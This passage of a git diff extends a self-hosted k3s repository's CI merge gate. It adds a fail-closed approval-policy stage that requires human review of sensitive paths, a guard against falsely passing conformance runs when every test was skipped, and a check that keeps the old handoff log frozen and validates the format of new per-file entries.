"a.yaml", "a-claim-secret.sops.yaml",
|
||||
"svc.yaml", "svc-bootstrap-secret.sops.yaml",
|
||||
"svc-db.yaml", "svc-db-app.sops.yaml", "svc-db-backup-credentials.sops.yaml",
|
||||
"svc-db-backup-credentials-prod.sops.yaml",
|
||||
"gitea.yaml",
|
||||
@@ -2377,6 +2569,10 @@ def _selftest() -> int:
|
||||
plan = plan_apps_waves(plan_sds, present)
|
||||
flat = {f: wv for wv, fs in plan.items() for f in fs}
|
||||
check(flat.get("a.yaml") == 0, "leaf app must land in wave 0")
|
||||
check(flat.get("a-claim-secret.sops.yaml") == 0,
|
||||
"a `<svc>-claim-secret.sops.yaml` (plex's plex.tv claim) must be placed in the SAME wave "
|
||||
"as its app — an env secretKeyRef has no `optional`, so a later wave means "
|
||||
"CreateContainerConfigError")
|
||||
check(flat.get("svc-db.yaml") == 0 and flat.get("svc-db-app.sops.yaml") == 0
|
||||
and flat.get("svc-db-backup-credentials.sops.yaml") == 0
|
||||
and flat.get("svc-db-backup-credentials-prod.sops.yaml") == 0,
|
||||
|
||||
+10
-1
@@ -12,7 +12,7 @@ CI_DIR := $(dir $(abspath $(lastword $(MAKEFILE_LIST))))
|
||||
|
||||
.DEFAULT_GOAL := help
|
||||
|
||||
.PHONY: help spec-immutability lint schema l0 render-golden l1 conformance gate all touched versions tools test
|
||||
.PHONY: help spec-immutability decisions-log lint schema l0 render-golden l1 conformance gate all touched versions tools test
|
||||
|
||||
help: ## Show this help
|
||||
@awk 'BEGIN{FS=":.*##"} /^[a-zA-Z0-9_-]+:.*##/{printf " \033[36m%-14s\033[0m %s\n",$$1,$$2}' $(MAKEFILE_LIST)
|
||||
@@ -29,9 +29,18 @@ schema l0: ## ServiceDefinition schema validation + Kyverno L0 policy gate (no c
|
||||
render-golden: ## render==golden: canonical render reproduces committed apps/ (no cluster; live now)
|
||||
@"$(CI_DIR)render-golden.sh"
|
||||
|
||||
decisions-log: ## handoff log: DECISIONS-LOG.md frozen, decisions/ entries well-formed (no cluster)
|
||||
@"$(CI_DIR)decisions-log.sh"
|
||||
|
||||
l1: ## L1 rendering checks (no cluster; live now)
|
||||
@"$(CI_DIR)l1.sh"
|
||||
|
||||
approval-policy: ## CI is the approver; sensitive paths still need a human (needs PR_NUMBER + token)
|
||||
@./approval-policy.sh
|
||||
|
||||
gitea-settings: ## Gitea branch protection + runners match infra/gitea/expected-branch-protection.json (SKIPS w/o GITEA_SETTINGS_TOKEN)
|
||||
@./gitea-settings.sh
|
||||
|
||||
conformance: ## L2/L3 in-cluster Chainsaw Job (SKIPS w/o CLUSTER_AVAILABLE=true)
|
||||
@"$(CI_DIR)conformance.sh"
|
||||
|
||||
|
||||
@@ -1,5 +1,19 @@
|
||||
# `ci/` — portable merge gate (runnable today, without Gitea)
|
||||
|
||||
> **STATUS NOTE (2026-09-29) — read before trusting the "Phase 0" framing below.**
|
||||
> This document speaks as though no cluster exists and the platform is scaffolding. **A
|
||||
> three-node k3s cluster has existed for weeks** and Flux has been reconciling against it.
|
||||
> Gitea is live, the Actions runner `incluster-dind` is online, and `main` is a protected
|
||||
> branch. Where the text says "Phase 0", "stub", or "no cluster exists", read it as
|
||||
> describing a **live gap** rather than an expected stage — most importantly, L2/L3
|
||||
> conformance still does not run in CI (`vars.CLUSTER_AVAILABLE` is unset), which is a real
|
||||
> coverage hole, not a phase.
|
||||
>
|
||||
> This mismatch is not cosmetic. A month of "the gate enforces this" claims rested on
|
||||
> documentation rather than measurement, and `main` was unprotected with zero runners
|
||||
> registered the whole time. **Query the live API before asserting platform state.**
|
||||
|
||||
|
||||
**Task T-0.2 · R-TEST-02 (reproducible, single-command) · Owner WS-GITOPS (CI).**
|
||||
|
||||
The same merge gate the Gitea Actions workflow runs
|
||||
@@ -87,6 +101,7 @@ caller that must distinguish them invokes `./ci/gate.sh` directly.
|
||||
|---|---|---|
|
||||
| `lint`, `l0`, `render-golden`, `l1` | a **pinned tool is absent** or a **wired seam went unwired** — it *could not run* | **BLOCKED** under strict skips (a CI runner: the toolchain is installed for us by `.gitea/workflows/scripts/install-tools.sh`, so a skip is a defect); **UNDETERMINED** otherwise (a workstation missing a tool is a real local condition — still non-zero, still not a pass; the remedy is `infra/devcontainer/dev.sh`, which carries the pinned toolchain) |
|
||||
| `spec-immutability` (R-TEST-06) | the sibling spec repo is not checked out, so the spec **could not be verified** | **UNDETERMINED** — unverified is unverified. Deliberately *not* upgraded to BLOCKED by strict skips: the live runner does not check the spec repo out at all, so blocking would leave the only enforced status check permanently red for a reason no PR could clear. It is therefore the **one** skip whose non-answer a caller may knowingly tolerate, and `.gitea/workflows/gate.yml` does so in one visible line. `REQUIRE_SPEC_VERIFICATION=true` makes it a hard block once that checkout is wired. Locally: check the spec repo out beside this one, or set `SPEC_REPO` (`dev.sh` mounts a sibling automatically). |
|
||||
| `decisions-log` | **nothing** — this stage has no skip path. It reads only files in the tree under test and needs no tool and no cluster, so there is no environment in which it "could not run" | a reported skip is a **defect in the stage** and BLOCKS. The stage fails when the frozen `DECISIONS-LOG.md` is modified (which silently re-creates, for every *other* open branch, the tail-hunk conflict that made four of five PRs unmergeable on 2026-09-29) or when a `decisions/` entry is malformed. There is deliberately **no** `REQUIRE_DECISIONS_LOG` knob: a guard with an off switch is not a guard. See `decisions/README.md`. |
|
||||
| `conformance` (L2/L3) | `CLUSTER_AVAILABLE!=true` — the environment **declared** the capability absent (documented Phase-0 behaviour) | **does not deny a PASS**: a declared-inapplicable stage was never *supposed* to run. It is NAMED in the PASS headline and step summary, the touched requirements it would have covered are reported UNVERIFIED, and `REQUIRE_CLUSTER_TESTS=true` (Phase 1+) turns that into a block. A skip **despite** `CLUSTER_AVAILABLE=true` is a defect and BLOCKS. |
|
||||
|
||||
That asymmetry is the whole rule: **declared-not-applicable may pass; could-not-run may not.**
|
||||
|
||||
Executable
+117
@@ -0,0 +1,117 @@
|
||||
#!/usr/bin/env bash
|
||||
# ci/approval-policy.sh — the CI/CD pipeline is the approver, EXCEPT for changes that alter
|
||||
# what the pipeline verifies or the security posture it rests on.
|
||||
#
|
||||
# THE POLICY, and why it is shaped this way.
|
||||
#
|
||||
# Operator intent (2026-09-29): "CI/CD pipeline is the end-all-be-all for approval. If the CI
|
||||
# pipeline is not good enough to be trusted for this, then it is not good enough to do its
|
||||
# intended job and needs to be improved. Manual approvers should only be for architecturally or
|
||||
# security relevant changes -- which is essentially the CI pipeline itself and kyverno policies."
|
||||
#
|
||||
# So `required_approvals` on the branch drops to 0 and the GATE decides. That is a real transfer
|
||||
# of authority, and it has exactly one hole: **a change to the gate cannot be gated by the gate.**
|
||||
# A PR that weakens a check would be approved by the weakened check. The same applies to the
|
||||
# admission policies, the Flux wiring that decides what reconciles, the SOPS recipients, and the
|
||||
# RBAC. Those are the "architecturally or security relevant" set, and this stage is what still
|
||||
# requires a human for them.
|
||||
#
|
||||
# The list is data, not code: infra/gitea/approval-policy.json, with a stated reason per entry so
|
||||
# it stays reviewable. Changing that list is itself a sensitive change (infra/gitea/**), so the
|
||||
# policy cannot be widened without a human.
|
||||
#
|
||||
# FAIL-CLOSED, DELIBERATELY DIFFERENT FROM gitea-settings.sh. That stage skips when its token is
|
||||
# missing, because an unwired credential blocking every PR is a lock-out. Here the reverse is
|
||||
# true: if this cannot evaluate, an unreviewed change to the gate itself could merge. A skip is a
|
||||
# BYPASS, not a gap. So: cannot determine -> BLOCK.
|
||||
#
|
||||
# EXIT CODES
|
||||
# 0 no sensitive paths touched (gate alone is sufficient), OR sensitive paths touched and a
|
||||
# non-author APPROVED review is present
|
||||
# 1 sensitive paths touched without such a review, OR the policy could not be evaluated
|
||||
set -euo pipefail
|
||||
CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
REPO_ROOT="$(cd "${CI_DIR}/.." && pwd)"
|
||||
# shellcheck disable=SC1091
|
||||
source "${CI_DIR}/lib.sh"
|
||||
|
||||
log "Stage: approval policy (CI approves; humans approve changes to CI)"
|
||||
|
||||
DECL="${REPO_ROOT}/infra/gitea/approval-policy.json"
|
||||
[ -f "$DECL" ] || die "approval policy declaration missing: ${DECL}"
|
||||
require_tool jq
|
||||
require_tool python3
|
||||
|
||||
# Not a PR -> nothing to gate. A push to main is already merged, and direct pushes are refused
|
||||
# by branch protection, so this is genuinely not-applicable rather than a skipped check.
|
||||
EVENT="${GITHUB_EVENT_NAME:-${EVENT_NAME:-}}"
|
||||
PR="${PR_NUMBER:-}"
|
||||
if [ "$EVENT" != "pull_request" ] || [ -z "$PR" ] || [ "$PR" = "null" ]; then
|
||||
ok "not a pull_request event (event='${EVENT:-none}') — approval policy N/A"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
GITEA_URL="${GITEA_URL:-https://gitea.home.keithjackson.dev}"
|
||||
GITEA_REPO="${GITEA_REPO:-Home-Network/home-network-k3s-impl}"
|
||||
TOKEN="${SETTINGS_API_TOKEN:-${GITEA_SETTINGS_TOKEN:-}}"
|
||||
if [ -z "$TOKEN" ]; then
|
||||
err "no SETTINGS_API_TOKEN — cannot read this PR's changed files or its reviews."
|
||||
err " BLOCKING. A skip here would let an unreviewed change to the gate itself merge."
|
||||
summary "- approval-policy: **BLOCKED — cannot evaluate** (no token; a skip here is a bypass)"
|
||||
exit 1
|
||||
fi
|
||||
api() { curl -sS --max-time 20 -H "Authorization: token ${TOKEN}" "$@"; }
|
||||
|
||||
FILES_JSON="$(api "${GITEA_URL}/api/v1/repos/${GITEA_REPO}/pulls/${PR}/files?limit=1000" || true)"
|
||||
PR_JSON="$(api "${GITEA_URL}/api/v1/repos/${GITEA_REPO}/pulls/${PR}" || true)"
|
||||
REVIEWS_JSON="$(api "${GITEA_URL}/api/v1/repos/${GITEA_REPO}/pulls/${PR}/reviews" || true)"
|
||||
for v in FILES_JSON PR_JSON REVIEWS_JSON; do
|
||||
jq -e . >/dev/null 2>&1 <<<"${!v}" || {
|
||||
err "could not read ${v} from Gitea for PR #${PR} — BLOCKING rather than assuming."
|
||||
summary "- approval-policy: **BLOCKED — Gitea unreadable**"
|
||||
exit 1; }
|
||||
done
|
||||
|
||||
AUTHOR="$(jq -r '.user.login // empty' <<<"$PR_JSON")"
|
||||
[ -n "$AUTHOR" ] || { err "could not determine PR author — BLOCKING"; exit 1; }
|
||||
|
||||
# NOTE: the PR file list goes in via an ENV VAR, not a second stdin redirect. `python3 - <<EOF`
|
||||
# already consumes stdin for the script; adding `<<<"$json"` silently wins and the script body is
|
||||
# never read. Caught before shipping, by running it.
|
||||
SENSITIVE="$(FILES_JSON="$FILES_JSON" DECL="$DECL" python3 -c '
|
||||
import json, os, fnmatch
|
||||
decl = json.load(open(os.environ["DECL"]))
|
||||
files = [f.get("filename", "") for f in json.loads(os.environ["FILES_JSON"])]
|
||||
pats = decl["sensitive_paths"]
|
||||
hits = sorted({f for f in files for p in pats
|
||||
if fnmatch.fnmatch(f, p) or (p.endswith("/**") and f.startswith(p[:-2]))})
|
||||
print("\n".join(hits))
|
||||
')"
|
||||
|
||||
if [ -z "$SENSITIVE" ]; then
|
||||
ok "no architecturally/security-relevant paths touched — the GATE is the approver."
|
||||
summary "- approval-policy: **green** (CI approves; no sensitive paths touched)"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
echo " sensitive paths touched:" >&2
|
||||
printf ' %s\n' $SENSITIVE >&2
|
||||
|
||||
APPROVER="$(jq -r --arg a "$AUTHOR" \
|
||||
'[.[] | select(.state == "APPROVED") | select(.user.login != $a) | .user.login] | first // empty' \
|
||||
<<<"$REVIEWS_JSON")"
|
||||
|
||||
if [ -n "$APPROVER" ]; then
|
||||
ok "approved by '${APPROVER}' (author '${AUTHOR}') — sensitive change is human-reviewed."
|
||||
summary "- approval-policy: **green** (sensitive paths approved by \`${APPROVER}\`)"
|
||||
exit 0
|
||||
fi
|
||||
|
||||
err "This PR changes the pipeline or the security posture it rests on, and has NO approving"
|
||||
err " review from anyone other than its author ('${AUTHOR}')."
|
||||
err " A change to the gate cannot be gated by the gate — that is the one thing CI cannot"
|
||||
err " honestly approve for itself. Get a human review, or move the change out of:"
|
||||
printf ' %s\n' $SENSITIVE >&2
|
||||
err " The list lives in infra/gitea/approval-policy.json, with a reason per entry."
|
||||
summary "- approval-policy: **BLOCKED — sensitive paths need a non-author approval**"
|
||||
exit 1
|
||||
@@ -61,5 +61,45 @@ if [ -d "${CONF_ART}/coverage" ]; then
|
||||
cp -r "${CONF_ART}/coverage/." "${COVERAGE_DIR}/"
|
||||
fi
|
||||
|
||||
# ---------------------------------------------------------------------------------------
|
||||
# DID IT ACTUALLY RUN? -- the guard without which this stage FAKES A GREEN.
|
||||
#
|
||||
# run.sh exits 0 in "scaffold mode" when it cannot reach a cluster: it emits a JUnit file
|
||||
# whose every testcase is <skipped> and returns success. That is correct FOR run.sh -- an
|
||||
# honest skip is its documented no-cluster behaviour. It is catastrophic HERE, because
|
||||
# reaching this point means the environment DECLARED CLUSTER_AVAILABLE=true, and this stage
|
||||
# would otherwise print "L2/L3 conformance passed" over 54 tests that never executed.
|
||||
#
|
||||
# MEASURED 2026-09-29, before this guard existed:
|
||||
# CLUSTER_AVAILABLE=true ./ci/conformance.sh -> rc=0
|
||||
# "[junit] wrote skipped JUnit for 54 scaffolded test(s)"
|
||||
# "[ ok ] L2/L3 conformance passed for touched subset"
|
||||
# One Gitea variable away from a fake green on an enforcing merge gate. That is exactly the
|
||||
# HARD RULE 4 violation this repo's whole gate design exists to prevent, and nothing caught
|
||||
# it because nobody had ever set the variable.
|
||||
#
|
||||
# A skip while a cluster is DECLARED is a contradiction: either the declaration is wrong or
|
||||
# the cluster is unreachable. The merge-gate decision matrix already says this case is BLOCK
|
||||
# ("conformance skipped while CLUSTER_AVAILABLE=true -> BLOCK (it should have run)"). This
|
||||
# makes the stage itself honour that instead of reporting a pass.
|
||||
JUNIT="${CONF_ART}/report.junit.xml"
|
||||
if [ -f "$JUNIT" ]; then
|
||||
total="$(grep -o '<testcase' "$JUNIT" | wc -l | tr -d ' ')"
|
||||
skipped="$(grep -o '<skipped' "$JUNIT" | wc -l | tr -d ' ')"
|
||||
if [ "${total:-0}" -gt 0 ] && [ "${skipped:-0}" -ge "${total:-0}" ]; then
|
||||
err "CLUSTER_AVAILABLE=true, but the L2/L3 suite SKIPPED every one of its ${total} tests"
|
||||
err " (scaffold mode -- run.sh could not reach a cluster and exited 0)."
|
||||
err " This stage will NOT report that as a pass. Either the cluster is unreachable from"
|
||||
err " this runner, or CLUSTER_AVAILABLE is set when it should not be."
|
||||
err " NOTE: the in-cluster trigger path is still UNIMPLEMENTED -- see"
|
||||
err " docs/plans/l2-l3-conformance-ci-wiring.md. Setting CLUSTER_AVAILABLE=true does not"
|
||||
err " by itself make L2/L3 run; it only makes this stage attempt a LOCAL run that the CI"
|
||||
err " runner has no credential for (automountServiceAccountToken: false, by design)."
|
||||
summary "- conformance-l2-l3: **BLOCKED — declared available but every test skipped** (not a pass)"
|
||||
exit 1
|
||||
fi
|
||||
log "L2/L3 executed: ${total} testcase(s), ${skipped} skipped"
|
||||
fi
|
||||
|
||||
ok "L2/L3 conformance passed for touched subset"
|
||||
summary "- conformance-l2-l3: **passed**"
|
||||
Executable
+195
@@ -0,0 +1,195 @@
|
||||
#!/usr/bin/env bash
|
||||
# ci/decisions-log.sh — the handoff log is a DIRECTORY, and the old single file is frozen.
|
||||
#
|
||||
# WHY THIS STAGE EXISTS
|
||||
# ---------------------
|
||||
# CLAUDE.md §7 tells every agent to record a handoff before finishing. Until 2026-09-29 that
|
||||
# meant appending to the tail of one 5,228-line file, DECISIONS-LOG.md. Every branch appended
|
||||
# to the SAME last hunk, so git could not auto-merge any two of them. Measured that day against
|
||||
# the live Gitea: four of the five open PRs were `mergeable: false`, and `git merge-tree`
|
||||
# against `main` named DECISIONS-LOG.md as the ONLY conflicting path in all four:
|
||||
#
|
||||
# #22 fix/crafty-oauth2-proxy-signin CONFLICT (content): DECISIONS-LOG.md
|
||||
# #20 feat/conformance-job-template CONFLICT (content): DECISIONS-LOG.md
|
||||
# #19 feat/conformance-trigger-kubeconfig CONFLICT (content): DECISIONS-LOG.md
|
||||
# #18 feat/conformance-runner-image CONFLICT (content): DECISIONS-LOG.md
|
||||
# #17 feat/ci-is-the-approver clean — it wrote no handoff entry
|
||||
#
|
||||
# Nothing was wrong with any of those changes. The log's storage format serialised work that
|
||||
# was otherwise parallel, and the cost grew with every concurrent branch (N branches -> N-1
|
||||
# rebases, each invalidating the gate run before it).
|
||||
#
|
||||
# The fix is that handoffs now live one-per-file under decisions/, so concurrent branches touch
|
||||
# disjoint paths and there is nothing to merge. See decisions/README.md.
|
||||
#
|
||||
# WHY IT NEEDS A CHECK AND NOT JUST A DOCUMENT
|
||||
# --------------------------------------------
|
||||
# The old habit is written into this repo in many places — the runbooks, the muscle memory of
|
||||
# every agent that has read the log, and (until this change) CLAUDE.md itself. An agent that
|
||||
# appends to DECISIONS-LOG.md anyway does not fail: it produces a perfectly good-looking commit
|
||||
# that quietly re-creates the conflict for every other open branch, and the damage is only
|
||||
# visible later, to somebody else, in a PR that is not theirs. That is the exact shape this
|
||||
# repo keeps getting burned by — a silent regression with a delayed, misattributed symptom — so
|
||||
# it gets a guard rather than a paragraph.
|
||||
#
|
||||
# WHAT IS ASSERTED
|
||||
# (1) DECISIONS-LOG.md is byte-identical to the SHA-256 pinned in decisions/ARCHIVE.sha256.
|
||||
# Re-pinning is a deliberate, reviewable line in a diff; appending is not.
|
||||
# (2) Every decisions/ entry is named YYYY-MM-DD-<slug>.md with a real calendar date, so the
|
||||
# directory sorts chronologically and two agents cannot collide on a filename.
|
||||
# (3) Every entry carries frontmatter (date, branch, title) whose `date` agrees with its
|
||||
# filename — a disagreement means a copied template nobody edited.
|
||||
# (4) Every entry has all three of CLAUDE.md §7's sections with a real body under each:
|
||||
# "What changed", "What I verified", "What I did NOT verify". This is the quality floor
|
||||
# that stops an entry degrading into "done ✅". The third heading is the load-bearing one:
|
||||
# this repo's recurring failure is a confident report of something nobody measured, and an
|
||||
# entry with nowhere to write "UNVERIFIED" does not get one written.
|
||||
#
|
||||
# EXIT CODES (ci/README.md contract): 0 pass, 1 BLOCKS the merge. This stage has NO skip path —
|
||||
# it reads only files that are in the tree it is run against, needs no tool beyond coreutils and
|
||||
# no cluster, so there is no environment in which it "could not run". Adding an rc 3 here would
|
||||
# add a fail-open surface to a guard whose whole job is to close one.
|
||||
set -uo pipefail
|
||||
CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
# shellcheck disable=SC1091
|
||||
source "${CI_DIR}/lib.sh"
|
||||
set +e # aggregate every problem in one run; do not stop at the first.
|
||||
|
||||
cd "$REPO_ROOT"
|
||||
|
||||
ARCHIVE="DECISIONS-LOG.md"
|
||||
PIN="decisions/ARCHIVE.sha256"
|
||||
rc=0
|
||||
|
||||
# ---- (1) the archive is frozen ----------------------------------------------
|
||||
log "Stage: decisions log (archive frozen + entries well-formed)"
|
||||
|
||||
if [ ! -f "$ARCHIVE" ]; then
|
||||
err "${ARCHIVE} is missing. It is the frozen pre-2026-09-29 history and must stay in the tree."
|
||||
summary "- decisions-log: **FAILED** (\`${ARCHIVE}\` missing)"
|
||||
rc=1
|
||||
elif [ ! -f "$PIN" ]; then
|
||||
err "${PIN} is missing, so the archive's integrity cannot be established."
|
||||
err " If you are re-pinning deliberately: sha256sum ${ARCHIVE} > ${PIN}"
|
||||
summary "- decisions-log: **FAILED** (\`${PIN}\` missing — archive unverifiable)"
|
||||
rc=1
|
||||
else
|
||||
want="$(awk 'NR==1{print $1}' "$PIN")"
|
||||
got="$(sha256sum "$ARCHIVE" | awk '{print $1}')"
|
||||
if [ "$want" != "$got" ]; then
|
||||
err "${ARCHIVE} HAS CHANGED. It is a FROZEN ARCHIVE — do not append to it."
|
||||
err " pinned: ${want}"
|
||||
err " on disk: ${got}"
|
||||
err ""
|
||||
err " Every branch that appends to this file's tail conflicts with every other branch that"
|
||||
err " does, on the same hunk. That is what made four of five open PRs unmergeable on"
|
||||
err " 2026-09-29, and your commit would re-create it for branches that are not yours."
|
||||
err ""
|
||||
err " Write your handoff as its OWN FILE instead:"
|
||||
err " decisions/\$(date +%F)-<your-branch-slug>.md (see decisions/README.md)"
|
||||
err " and restore the archive: git checkout -- ${ARCHIVE}"
|
||||
err ""
|
||||
err " If the archive genuinely must change (redacting a leaked credential, say), that is a"
|
||||
err " reviewed act: re-pin it with 'sha256sum ${ARCHIVE} > ${PIN}' and say why in your entry."
|
||||
summary "- decisions-log: **FAILED — the frozen archive \`${ARCHIVE}\` was modified** (append to \`decisions/\` instead)"
|
||||
rc=1
|
||||
else
|
||||
ok "${ARCHIVE}: unchanged (sha256 matches ${PIN})"
|
||||
fi
|
||||
fi
|
||||
|
||||
# ---- (2)(3)(4) every entry is well-formed ------------------------------------
|
||||
shopt -s nullglob
|
||||
entries=( decisions/[0-9]*.md )
|
||||
shopt -u nullglob
|
||||
|
||||
# Zero entries is legitimate only until the first handoff lands; after that the glob always
|
||||
# matches. It is never an error here — a branch that changes no behaviour owes no handoff, and
|
||||
# CLAUDE.md, not this stage, is what asks for one.
|
||||
if [ "${#entries[@]}" -eq 0 ]; then
|
||||
log "no decisions/ entries yet"
|
||||
fi
|
||||
|
||||
REQUIRED_SECTIONS=("What changed" "What I verified" "What I did NOT verify")
|
||||
|
||||
for f in "${entries[@]}"; do
|
||||
base="${f#decisions/}"
|
||||
|
||||
# (2) filename
|
||||
if [[ ! "$base" =~ ^([0-9]{4}-[0-9]{2}-[0-9]{2})-([a-z0-9][a-z0-9-]*)\.md$ ]]; then
|
||||
err "${f}: name must be decisions/YYYY-MM-DD-<slug>.md with a lowercase [a-z0-9-] slug."
|
||||
err " Use your branch's last segment as the slug — it is already unique per unit of work."
|
||||
summary "- decisions-log: **FAILED** (\`${f}\` misnamed)"
|
||||
rc=1
|
||||
continue
|
||||
fi
|
||||
fname_date="${BASH_REMATCH[1]}"
|
||||
|
||||
if ! date -d "$fname_date" +%F >/dev/null 2>&1 || [ "$(date -d "$fname_date" +%F)" != "$fname_date" ]; then
|
||||
err "${f}: '${fname_date}' is not a real calendar date."
|
||||
summary "- decisions-log: **FAILED** (\`${f}\` — impossible date)"
|
||||
rc=1
|
||||
continue
|
||||
fi
|
||||
|
||||
# (3) frontmatter
|
||||
if [ "$(head -1 "$f")" != "---" ]; then
|
||||
err "${f}: must open with a '---' YAML frontmatter block (date, branch, title)."
|
||||
err " See decisions/README.md for the template."
|
||||
summary "- decisions-log: **FAILED** (\`${f}\` — no frontmatter)"
|
||||
rc=1
|
||||
continue
|
||||
fi
|
||||
fm="$(awk 'NR==1&&$0=="---"{inb=1;next} inb&&$0=="---"{exit} inb{print}' "$f")"
|
||||
missing_keys=()
|
||||
for k in date branch title; do
|
||||
grep -qE "^${k}:[[:space:]]*\S" <<<"$fm" || missing_keys+=("$k")
|
||||
done
|
||||
if [ "${#missing_keys[@]}" -gt 0 ]; then
|
||||
err "${f}: frontmatter is missing a non-empty ${missing_keys[*]}."
|
||||
summary "- decisions-log: **FAILED** (\`${f}\` — frontmatter missing \`${missing_keys[*]}\`)"
|
||||
rc=1
|
||||
continue
|
||||
fi
|
||||
fm_date="$(grep -m1 -E '^date:' <<<"$fm" | sed -E 's/^date:[[:space:]]*//; s/[[:space:]"'\'']//g')"
|
||||
if [ "$fm_date" != "$fname_date" ]; then
|
||||
err "${f}: frontmatter date '${fm_date}' disagrees with the filename's '${fname_date}'."
|
||||
err " One of them was copied from a template and not edited; the log's ordering depends on both."
|
||||
summary "- decisions-log: **FAILED** (\`${f}\` — date disagrees with filename)"
|
||||
rc=1
|
||||
continue
|
||||
fi
|
||||
|
||||
# (4) the three required sections, each with a real body
|
||||
body_start="$(awk 'NR>1 && $0=="---" {print NR; exit}' "$f")"
|
||||
[ -n "$body_start" ] || body_start=1
|
||||
for want_sec in "${REQUIRED_SECTIONS[@]}"; do
|
||||
hdr_line="$(awk -v s="$body_start" -v w="## ${want_sec}" 'NR>s && $0==w {print NR; exit}' "$f")"
|
||||
if [ -z "$hdr_line" ]; then
|
||||
err "${f}: missing the required section '## ${want_sec}'."
|
||||
err " CLAUDE.md §7 asks for what you changed, what you verified, and what you did NOT."
|
||||
err " All three are structure here, because the third is the one that gets dropped."
|
||||
summary "- decisions-log: **FAILED** (\`${f}\` — missing \`## ${want_sec}\`)"
|
||||
rc=1
|
||||
continue
|
||||
fi
|
||||
# A real body: at least 20 non-blank, non-heading characters before the next '## '.
|
||||
nchars="$(awk -v s="$hdr_line" 'NR>s { if ($0 ~ /^## /) exit; print }' "$f" \
|
||||
| tr -d '[:space:]' | wc -c)"
|
||||
if [ "$nchars" -lt 20 ]; then
|
||||
err "${f}: section '## ${want_sec}' is empty or a stub (${nchars} chars of content)."
|
||||
err " If nothing was verified, WRITE THAT — 'nothing was verified; the gate was not run'"
|
||||
err " is a valid and useful entry. A blank section is not."
|
||||
summary "- decisions-log: **FAILED** (\`${f}\` — \`## ${want_sec}\` is a stub)"
|
||||
rc=1
|
||||
fi
|
||||
done
|
||||
done
|
||||
|
||||
if [ "$rc" -eq 0 ]; then
|
||||
ok "decisions log: archive frozen, ${#entries[@]} entr$([ "${#entries[@]}" -eq 1 ] && echo y || echo ies) well-formed"
|
||||
summary "- decisions-log: **passed** (archive frozen; ${#entries[@]} entries well-formed)"
|
||||
else
|
||||
err "decisions log stage FAILED"
|
||||
fi
|
||||
exit "$rc"
|
||||
+58
@@ -108,10 +108,13 @@ summary "## Merge gate (R-TEST-03)"
|
||||
summary ""
|
||||
|
||||
run_stage spec-immutability "${CI_DIR}/spec-immutability.sh"
|
||||
run_stage decisions-log "${CI_DIR}/decisions-log.sh"
|
||||
run_stage lint "${CI_DIR}/lint.sh"
|
||||
run_stage l0 "${CI_DIR}/l0.sh"
|
||||
run_stage render-golden "${CI_DIR}/render-golden.sh"
|
||||
run_stage l1 "${CI_DIR}/l1.sh"
|
||||
run_stage approval-policy "${CI_DIR}/approval-policy.sh"
|
||||
run_stage gitea-settings "${CI_DIR}/gitea-settings.sh"
|
||||
run_stage conformance "${CI_DIR}/conformance.sh"
|
||||
|
||||
echo >&2
|
||||
@@ -188,6 +191,61 @@ case "${OUTCOME[spec-immutability]}" in
|
||||
pass) ok "spec-immutability: green" ;;
|
||||
esac
|
||||
|
||||
# approval-policy: the branch requires NO human approvals (required_approvals: 0) -- the GATE
|
||||
# is the approver, per operator intent. This stage is the single exception: a change to the
|
||||
# pipeline itself, the admission policies, the Flux wiring, the SOPS recipients or the RBAC
|
||||
# cannot honestly be approved BY the thing it changes, so those paths still need a human.
|
||||
#
|
||||
# It never SKIPS -- it exits 0 or 1 only, and blocks when it cannot evaluate. That is the
|
||||
# opposite of gitea-settings' tolerance and it is deliberate: there, a missing credential is a
|
||||
# lock-out; here, a missing credential would let an unreviewed change to the gate merge.
|
||||
case "${OUTCOME[approval-policy]}" in
|
||||
fail) err "approval-policy: a sensitive change lacks a non-author approval -> blocks merge"; BLOCK=1 ;;
|
||||
skip) err "approval-policy: did not run -- it is fail-closed by design, so treat as a block"; BLOCK=1 ;;
|
||||
pass) ok "approval-policy: green" ;;
|
||||
esac
|
||||
|
||||
# gitea-settings: the ONLY check that can see Gitea's own database (branch protection +
|
||||
# runner registration). A FAIL is real drift and always blocks -- that is the whole point.
|
||||
# A SKIP means no token or unreachable Gitea, which is an UNWIRED CREDENTIAL, not a defect
|
||||
# in the change under test. It is deliberately NOT in the strict-skips loop below: making an
|
||||
# absent secret block every PR is precisely the lock-yourself-out failure this repo keeps
|
||||
# walking into (a required check with nothing able to satisfy it). So a skip denies a PASS
|
||||
# (exit 3) and says loudly what is unverified. Set REQUIRE_GITEA_SETTINGS=true once the
|
||||
# token is wired, and the skip becomes a block as it should.
|
||||
case "${OUTCOME[gitea-settings]}" in
|
||||
fail) err "gitea-settings: Gitea DRIFTED from infra/gitea/expected-branch-protection.json -> blocks merge"; BLOCK=1 ;;
|
||||
skip)
|
||||
if truthy "${REQUIRE_GITEA_SETTINGS:-false}"; then
|
||||
err "gitea-settings: skipped and REQUIRE_GITEA_SETTINGS=true -> blocks merge"
|
||||
summary "- gitea-settings: **SKIPPED** (no token) — blocks merge (REQUIRE_GITEA_SETTINGS=true)"
|
||||
BLOCK=1
|
||||
else
|
||||
warn "gitea-settings: skipped (no GITEA_SETTINGS_TOKEN) — branch protection and runner"
|
||||
warn " registration are UNVERIFIED. Both were silently wrong for a month. Wire the token"
|
||||
warn " (infra/gitea/set-ci-token.sh), then set REQUIRE_GITEA_SETTINGS=true."
|
||||
summary "- gitea-settings: **SKIPPED** (no token — protection/runners unverified; not a pass)"
|
||||
NOT_ESTABLISHED+=("gitea-settings")
|
||||
fi ;;
|
||||
pass) ok "gitea-settings: green" ;;
|
||||
esac
|
||||
|
||||
# decisions-log: the handoff log's storage format. A FAIL means either the frozen archive
|
||||
# DECISIONS-LOG.md was modified — which re-creates, for every OTHER open branch, the tail-hunk
|
||||
# conflict that made four of five PRs unmergeable on 2026-09-29 — or a decisions/ entry is
|
||||
# malformed. Always blocks, and has no skip path by construction: the stage reads only files in
|
||||
# the tree under test and needs no tool or cluster, so there is no environment in which it
|
||||
# "could not run". A guard against a silent, delayed, misattributed regression must not itself
|
||||
# have a way to not-run.
|
||||
case "${OUTCOME[decisions-log]}" in
|
||||
fail) err "decisions-log: FAILED -> blocks merge (see decisions/README.md)"; BLOCK=1 ;;
|
||||
skip) err "decisions-log: reported SKIPPED, which this stage has no path to produce -> treat"
|
||||
err " as a defect in the stage itself and block."
|
||||
